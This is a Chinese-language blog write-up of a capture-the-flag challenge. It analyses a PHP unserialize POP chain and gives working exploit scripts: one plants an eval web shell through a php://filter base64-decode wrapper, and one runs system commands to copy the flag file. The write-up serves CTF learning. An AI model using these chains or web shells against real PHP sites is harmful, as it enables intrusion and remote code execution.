发布于2022-08-03 17:35 阅读(1287) 评论(0) 点赞(17) 收藏(3)
题目地址:https://buuoj.cn/challenges#[EIS%202019]EzPOP
- <?php
- error_reporting(0);
-
- class A {
-
- protected $store;
-
- protected $key;
-
- protected $expire;
-
- public function __construct($store, $key = 'flysystem', $expire = null) {
- $this->key = $key;
- $this->store = $store;
- $this->expire = $expire;
- }
-
- public function cleanContents(array $contents) {
- $cachedProperties = array_flip([
- 'path', 'dirname', 'basename', 'extension', 'filename',
- 'size', 'mimetype', 'visibility', 'timestamp', 'type',
- ]);
-
- foreach ($contents as $path => $object) {
- if (is_array($object)) {
- $contents[$path] = array_intersect_key($object, $cachedProperties);
- }
- }
-
- return $contents;
- }
-
- public function getForStorage() {
- $cleaned = $this->cleanContents($this->cache);
-
- return json_encode([$cleaned, $this->complete]);
- }
-
- public function save() {
- $contents = $this->getForStorage();
-
- $this->store->set($this->key, $contents, $this->expire);
- }
-
- public function __destruct() {
- if (!$this->autosave) {
- $this->save();
- }
- }
- }
-
- class B {
-
- protected function getExpireTime($expire): int {
- return (int) $expire;
- }
-
- public function getCacheKey(string $name): string {
- return $this->options['prefix'] . $name;
- }
-
- protected function serialize($data): string {
- if (is_numeric($data)) {
- return (string) $data;
- }
-
- $serialize = $this->options['serialize'];
-
- return $serialize($data);
- }
-
- public function set($name, $value, $expire = null): bool{
- $this->writeTimes++;
-
- if (is_null($expire)) {
- $expire = $this->options['expire'];
- }
-
- $expire = $this->getExpireTime($expire);
- $filename = $this->getCacheKey($name);
-
- $dir = dirname($filename);
-
- if (!is_dir($dir)) {
- try {
- mkdir($dir, 0755, true);
- } catch (\Exception $e) {
- // 创建失败
- }
- }
-
- $data = $this->serialize($value);
-
- if ($this->options['data_compress'] && function_exists('gzcompress')) {
- //数据压缩
- $data = gzcompress($data, 3);
- }
-
- $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
- $result = file_put_contents($filename, $data);
-
- if ($result) {
- return true;
- }
-
- return false;
- }
-
- }
-
- if (isset($_GET['src']))
- {
- highlight_file(__FILE__);
- }
-
- $dir = "uploads/";
-
- if (!is_dir($dir))
- {
- mkdir($dir);
- }
- unserialize($_GET["data"]);
发现代码中可利用点只有file_put_contents($filename, $data) ,所以我们从它开始倒推
我们需要分别找到$data的链和$filename的链
使options['data_compress']=false,不让$data压缩
data来自value,$data = $this->serialize($value);,
使options['serialize']=trim,这样serialize就变成trim函数了
serialize($value)为要写入的内容,由set传入
set由A的save调用,$this->store->set($this->key, $contents, $this->expire); 让$this->store = $b;才能调用set方法
value由$contents传入,分析$contents,$contents = $this->getForStorage();
进入getForStorage方法:返回值由$cleaned($this->cache控制), $this->complete控制,这里$this->cache有过滤,让$this->cache=array() ,并使$a->complete=payload
使$a->autosave=false,析构方法调用save方法
在B的set中$filename = $this->getCacheKey($name);$name为set的参数1
getCacheKey中给name加了前缀,$this->options['prefix'] . $name,让$b->options['prefix']=文件名
save中$this->store->set($this->key, $contents, $this->expire);
总结,$a->key=.php,b->options['prefix']=要访问的文件名
给出目前的POC(注意:目前还不能得到flag,下文分析)
- <?php
- class A {
- protected $store;
- protected $key;
- protected $expire;
-
- public function __construct($store, $key = 'flysystem', $expire = null) {
- $this->key = $key;
- $this->store = $store;
- $this->expire = $expire;
- }
- }
-
- class B {
- }
-
- $b = new B();
- $b->options['data_compress']=false;
- $b->options['serialize']='trim';
- $b->options['prefix']='shell';
-
-
- $a = new A($b,'.php',null);
- $a->autosave=false;
- $a->cache=array();
- $a->complete='<?php phpinfo();?>';
-
- echo urlencode(serialize($a));
- ?>
我们再正向来一遍(加粗的使函数,标红的是数据)
入口函数是__destruct(),$a->autosave为false,进入if分支,调用save方法。
$contents 为getForStorage()的返回值
进入getForStorage()方法,$a->complete为payload,返回{,payload}
此时$contents={,payload},$a->key=.php,$a->store=$b
调用b的set方法,$b->set('.php',payload,null)
进入b的set方法
调用getExpireTime后$expire=0
调用getCacheKey后$filename=shell.php
后面又调用serialize方法,进入发现返回b->options['serialize'](data)
,也就是说b->options['serialize']是一个函数名,用来处理data,这里为trim()不影响data
b->options['data_compress']为false,不进入if分支
此时$data=<?php\n//000000000000\n exit();?>\npayload
最后file_put_contents将data写入shell.php
我们在本地测试,发现payload能写入shell.php,但是前面有exit(),不能执行
- $b = new B();
- $b->options['data_compress']=false;
- $b->options['serialize']='trim';
- $b->options['prefix']='php://filter/write=convert.base64-decode/resource=uploads/shell';
-
-
- $a = new A($b,'.php',null);
- $a->autosave=false;
- $a->cache=array();
- $a->complete='aaa'.base64_encode('<?php @eval($_POST["shell"]);?>');
-
- echo urlencode(serialize($a));
- <?php
- class A {
- protected $store;
- protected $key;
- protected $expire;
-
- public function __construct($store, $key = 'flysystem', $expire = null) {
- $this->key = $key;
- $this->store = $store;
- $this->expire = $expire;
- }
- }
-
- class B {
- }
-
- $b = new B();
- $b->options['data_compress']=false;
- $b->options['serialize']='trim';
- $b->options['prefix']='php://filter/write=convert.base64-decode/resource=uploads/shell';
-
-
- $a = new A($b,'.php',null);
- $a->autosave=false;
- $a->cache=array();
- $a->complete='aaa'.base64_encode('<?php @eval($_POST["shell"]);?>');
-
- echo urlencode(serialize($a));
- ?>
参考自https://www.sec-in.com/article/333
- $b = new B();
- $b->writeTimes = 0;
- $b -> options = array('serialize' => "system",
- 'data_compress' => false,
- 'prefix' => "b");
-
- $a = new A($store = $b, $key = ".php", $expire = 0);
- $a->autosave = false;
- $a->cache = array();
- $a->complete = '`cat /flag > ./flag.php`';
-
- echo urlencode(serialize($a));
相当于
system('[[],"`cat /flag > ./flag.php`"]')
在shell里执行的时候 反引号 的优先级是高于引号的,所以会先执行cat /flag > ./flag.php
,flag就被写到flag.php里面去了
来自ctf小菜鸡的日常分享,欢迎各位大佬留言。
作者:我叫你一声你敢答应吗
链接:http://www.phpheidong.com/blog/article/355565/b1aa869bc9806540973f/
来源:php黑洞网
任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任
昵称:
评论内容:(最多支持255个字符)
---无人问津也好,技不如人也罢,你都要试着安静下来,去做自己该做的事,而不是让内心的烦躁、焦虑,坏掉你本来就不多的热情和定力
Copyright © 2018-2021 php黑洞网 All Rights Reserved 版权所有,并保留所有权利。 京ICP备18063182号-4
投诉与举报,广告合作请联系vgs_info@163.com或QQ3083709327
免责声明:网站文章均由用户上传,仅供读者学习交流使用,禁止用做商业用途。若文章涉及色情,反动,侵权等违法信息,请向我们举报,一经核实我们会立即删除!